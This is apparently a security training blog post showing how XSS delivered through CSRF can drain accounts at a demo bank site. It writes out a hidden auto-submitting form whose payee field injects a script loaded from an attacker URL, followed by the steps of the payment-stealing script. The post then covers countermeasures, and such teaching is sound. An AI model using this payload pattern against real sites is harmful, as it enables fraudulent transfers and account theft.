In our one-day training classes and conference talks we make judicious use of videos to demonstrate concepts. One of the most popular videos illustrates the true danger of Cross-Site Scripting (XSS) combined with Cross-Site Request Forgery (CSRF). We constructed a fake bank site and demonstrated that a single XSS vulnerability and money transfer functionality in the bank site could result in a user losing money just by visiting another site. In the example, the bank site isn’t over SSL but SSL would not prevent this attack in any way.
The malicious site in our example is completely attacker-controlled, but in reality the malicious site could actually be a Flash ad in a trusted site, Facebook / Myspace / LinkedIn applications or other mashups running untrusted code, or even malicious code running in another trusted site like a bulletin board.
In our example, the user visits the bank site and the attacker site in two browser tabs at the same time. In reality, the victim is exposed for the entire duration of his/her session on the server. That means if a user simply closes their browser window and doesn’t actually logout of the banking application, they are still vulnerable for a period of time — usually 15–30 minutes.
At first the attack may seem far-fetched because of all the factors at play:
- A victim needs to visit a specific vulnerable site
- The victim then must visit another malicious site that knows to attack the site from Step 1, all while the victim still has a valid session.
So how is this attack becoming less far-fetched today?
- A survey by the Web Application Security Consortium (WASC) reveals that
nearly 60% of websites are vulnerable to XSS. The ability to discover XSS has never been easier, and public disclosure sites like xssed.com make discovering specific vulnerabilities trivial.
What makes this attack particularly devastating is the fact that the victim likely won’t be able to repudiate the money transfer. In the bank’s logs, it looks like the user intentionally meant to transfer funds. All of the transactions originate from the victim’s IP address and were sent with the victim’s cookies. Only behavioural analysis, such as looking at the abnormal speed of the series of requests or noticing that multiple people transferred money to the same payee at within a short period of time, might reveal fraud.
Attack Technical Details
- User visits http://localhost:3000 (False Secure Bank)
- While having a valid session in False Secure Bank, user then visits http://127.0.0.1/CSRF _Example (Attacker site)
- Within the Attacker Site, we added a 0 length by 0 width iFrame, rendering the content of the iFrame invisible to the end user.
- Within the iFrame, we inserted some HTML including a form with pre-populated values, and some script that automatically submits the form on behalf of the user:
- <form name=”input” action=”http://localhost:3000/send_payment" method=”post”>
<input type=”text” name=”pay[payee]” value=”http://127.0.0.1/CSRF_Example/bankattack.js”>
<input type=”text” name=”amount” value=”0"/>
<input type=”text” name=”commit” value=”Pay”/>
- Note that the pay[payee] field value is the actual Cross Site Scripting payload. This corresponds to the XSS vulnerability we discovered earlier within the False Secure Bank site. In this case, the actual script points to source located at http://127.0.0.1/CSRF_Example/bankattack.js. The document.input.submit() method automatically submits the request behalf on the user — in other words, we’re delivering a Cross Site Scripting (XSS) payload via a Cross Site Request Forgery (CSRF) attack.
- The user’s browser automatically submits the request to http://localhost:3000/send_payment with the user’s cookies. The user has no idea this has happened.
- False Secure Bank sends a response to the 0 x 0 IFrame, where the request originated from. In the response, the developers include an unfiltered, unencoded version of the pay[payee] parameter from the send_payment request. Since this parameter renders within the clients browser, the tag automatically executes.
- xmlhttp.open(“GET”, “/payment”, false); //AJAX request to get the payment screen
- Note that False Secure Bank does not support nor feature any Ajax. We don’t care. We only need the user’s browser to support Ajax, which most modern browsers do.
- Go to payments screen
- Parse out the account number of the attacker
- Add the attacker as a payee
- Initiate payment
- Confirm payment
While this scenario outlines a bank transfer, we could automate practically any series of requests in any web application with this kind of attack.
- The easiest countermeasure is to prevent Cross Site Scripting. Make judicious use of strong encoding libraries like those given in the OWASP ESAPI project . Follow the details outlined in the Cross Site Scripting Prevention Cheat Sheet.
- Use frame busting code. Note, people have (and continue to) come up with ways around frame-busting . Also note that the attacker doesn’t need a frame — s/he can execute the entire attack visible to the user — although that increases the possibility that the user will shut down the browser and stop the attack midway.
- The most effective method of preventing this and almost all attacks against sensitive transactions is to use transactional authentication. The developers could have required Phone Factor authentication, for instance, for all money transfers over $100. Of course, any additional authentication may come at the expense of usability. A less effective and, arguably, less user-friendly approach is to use some anti-automation
technology like CAPTCHA.
- The original XSS vector was delivered through a CSRF attack on the send_payment transaction. If the entire authenticated portion of False Secure Bank was protected against CSRF, we couldn’t have delivered the reflective XSS payload in the first place. Stored XSS does not suffer from the same limitation.
- Always log out. This doesn’t prevent the attack completely but significantly limits your exposure to attack
- Do not browse to other sites while on a sensitive application such as online banking
- Use NoScript. Yes, NoScript prevents this attack, even if you trust the script in the malicious site because NoScript accurately identifies the CSRF request as a potential Cross Site Scripting attack
- Hope that the developers who create your applications care about security, and that they don’t categorically think Cross Site Scripting is low or medium risk